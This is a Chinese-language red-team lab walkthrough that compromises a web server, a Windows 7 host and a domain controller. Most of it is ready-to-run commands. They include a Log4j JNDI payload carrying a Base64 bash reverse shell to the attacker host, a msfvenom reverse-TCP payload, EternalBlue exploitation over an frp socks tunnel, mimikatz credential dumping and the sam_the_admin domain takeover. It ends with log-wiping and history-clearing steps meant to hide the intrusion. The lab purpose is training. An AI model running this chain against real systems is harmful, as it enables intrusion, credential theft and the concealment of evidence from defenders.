渗透攻击红队内网靶场
红队靶机
基础情况
渗透攻击红队内网靶场
环境说明
外网服务器:
ubuntu16
user:saul
pass:Saul123
# 重启后,需要手动重新启动 Docker 容器
sudo docker start cc4ddedd1727
域控:
hostname:AD
user : Administrator
pass : Admin12345
域个人机器:
hostname:win7
本地用户:hong:密码空
域账户:redteam/root:Red12345
网络拓扑图
主机信息
主机 | 外网 | 内网1 | 内网2 |
---|---|---|---|
kali | 192.168.211.147 | ||
ubuntu | 192.168.211.153 | 10.0.1.6 | |
win7 | 10.0.1.7 | 10.0.0.7 | |
windows 2008 R2 | 10.0.0.12 |
信息收集
nmap -sV -T4 -A -p 1-65535 192.168.211.153
该主机开启了22,38080端口,38080端口扫描到有web服务,访问
log4j+获取外网服务器权限
dnslog盲打
curl http://192.168.211.153:38080//hello -X POST -d 'payload=${jndi:ldap://v0cwlo.dnslog.cn/aa}'
JNDI命令注入
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.211.147
开启LDAP服务:
构造payload:
## bash一句话反弹shell
bash -i >& /dev/tcp/192.168.211.147/9999 0>&1
## base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMS4xNDcvOTk5OSAwPiYx
## url编码+号
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjIxMS4xNDcvOTk5OSAwPiYx
## 构造payload
curl 192.168.211.153:38080/hello -X POST -d 'payload=${jndi:ldap://192.168.211.147:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjIxMS4xNDcvOTk5OSAwPiYx}'
发送TomcatBypass Queries:
ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
成功获得shell
cat /proc/1/cgroup
发现此容器在docker里
在/root/flag.txt下获得第一个flag
通过此账号密码直接ssh连接
MS17-010+获取域个人机器权限
信息收集
发现内网地址10.0.1.0/24
不多说,直接上fscan
搭建http:
python -m SimpleHTTPServer 1337
下载马:
wget 192.168.211.147:1337/fscan_amd64
./fscan_amd64 -h 10.0.1.1/24
start ping
(icmp) Target 10.0.1.6 is alive
(icmp) Target 10.0.1.7 is alive
[*] Icmp alive hosts len is: 2
10.0.1.7:135 open
10.0.1.6:22 open
10.0.1.7:139 open
10.0.1.7:445 open
[*] alive ports len is: 4
[*] start vulscan
[+] NetInfo:
[*]10.0.1.7
[->]win7
[->]10.0.1.7
[->]10.0.0.7
[+] 10.0.1.7 MS17-010 (Windows 7 Ultimate 7601 Service Pack 1)
[*] 10.0.1.7 __MSBROWSE__\WIN7 Windows 7 Ultimate 7601 Service Pack 1
扫到除本机外一个10.0.1.7的主机,10.0.1.7主机存在另一个内网ip10.0.0.7并且存在MS17-010
msf上线
制作msf马:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.211.147 lport=4444 -f elf -o shell
msf加载:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
远程执行,反弹shell
msf成功上线,这时候我们再利用MS17-010拿下windows机
流量代理
frps.ini:
[common]
bind_addr = 0.0.0.0 # 设置监听的ip ,一般是你的外网ip,0.0.0.0表示都监听
bind_port = 8000 # 监听的端口,等待客户端连接
dashboard_addr = 0.0.0.0 # frp网站服务器的ip,可以访问登录
dashboard_port = 7600 # frp网站服务器的端口,可以访问登录
dashboard_user = root # frp网站服务账号
dashboard_pwd = 123456 # frp网站服务密码
token = 1q2w3e # 客户端的连接密码
heartbeat_timeout = 90 # 连接超时的时间
max_pool_count = 5 # 允许连接的客户端数量
攻击机:sudo ./frps -c ./frps.ini
frpc.ini:
[common]
tls_enable = true
server_addr = *.*.*.* # vps 服务器地址
server_port = 8000 # vps服务器监听地址
token = 1q2w3e # 设置的密码 ,设置完流量加密,不好解。
pool_count = 5 # 将提前建立连接,默认值为 0
protocol = tcp # 通信方式
health_check_type = tcp # frpc 将连接本地服务的端口以检测其健康状态
health_check_interval_s = 100 # 健康检查时间间隔
[proxies]
remote_port = 6000 # 把流量转发到vps 那个端口 ,这个是重点等下会用到
plugin = socks5 #plugin 表示为插件
use_encryption = true
use_compression = true
远端机:sudo ./frpc -c ./frpc.ini
MS17-010
扫描漏洞:
search msf17-010
use auxiliary/scanner/smb/smb_ms17_010 # 选择扫描模块
show options # 查看模块配置
set rhost 10.0.1.7 # 选择攻击ip
run
攻击测试:
setg Proxies socks5:127.0.0.1:6000 # 设置代理
set ReverseAllowProxy true # 允许反向连接
use auxiliary/scanner/smb/smb_ms17_010 #扫描ms17-010
exploit/windows/smb/ms17_010_eternalblue #攻击测试
set payload windows/x64/meterpreter/bind_tcp #设置攻击载荷
flag在root用户桌面
获取域控机器权限
信息收集
meterpreter > sysinfo
Computer : WIN7
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : REDTEAM
Logged On Users : 2
Meterpreter : x64/windows
获取相关域信息
命令 | 功能 | 值 |
---|---|---|
net view /domain | 查看域 | REDTEAM |
net group "domain admins" /domain | 查看域管理员 | administrator |
net user /domain | 查看域用户 | Administrator、root |
net group "domain controllers" /domain | 查看域控 | DC |
抓用户密码
load mimikatz
creds_all
成功抓到域用户root的账号及密码
因为之前用fscan确定第二层的C段为10.0.0.0/24
直接找域控ip
for /l %i in (1,1,255) do @ping 10.0.0.%i -w 1 -n 1|find /i "ttl="
命令太慢,换找域控ip方式:
nslookup redteam.lab
拿域控权限
CVE-2021-42287/CVE-2021-42278
Python 利用脚本:https://github.com/WazeHell/sam-the-admin
假如域内有一台域控名为 DC(域控对应的机器用户为 DC),此时攻击者利用漏洞创建一个机器用户,再把机器用户 saulGoodman的改成。然后利用去申请一个票据。再把的改为。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC(是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。
在使用代理之前,我们需要先添加路由,让MSF能到达目标机器内网。因为这里socks模块只是将代理设置为监听的端口(默认是1080),即通过proxychains的流量都转给本地的1080端口,又因为这是MSF起的监听端口,所以通过代理走的流量也都能到达内网
use auxiliary/server/socks_proxy
修改/etc/proxychains.conf
sock5 0.0.0.0 1080
proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
至此此靶场渗透工作全部完成,获取到三个flag文件,拿到域控权限
痕迹清理
windows机:
windows主机日志全量清理:
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
防火墙日志清理:
cd logfiles/firewall
del xxx.log
Linux机:
隐藏远程ssh登陆记录:
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
清理历史记录:
history -c
清理日志:
ls -al /var/log/lastlog && echo > /var/log/lastlog && ls -al /var/log/lastlog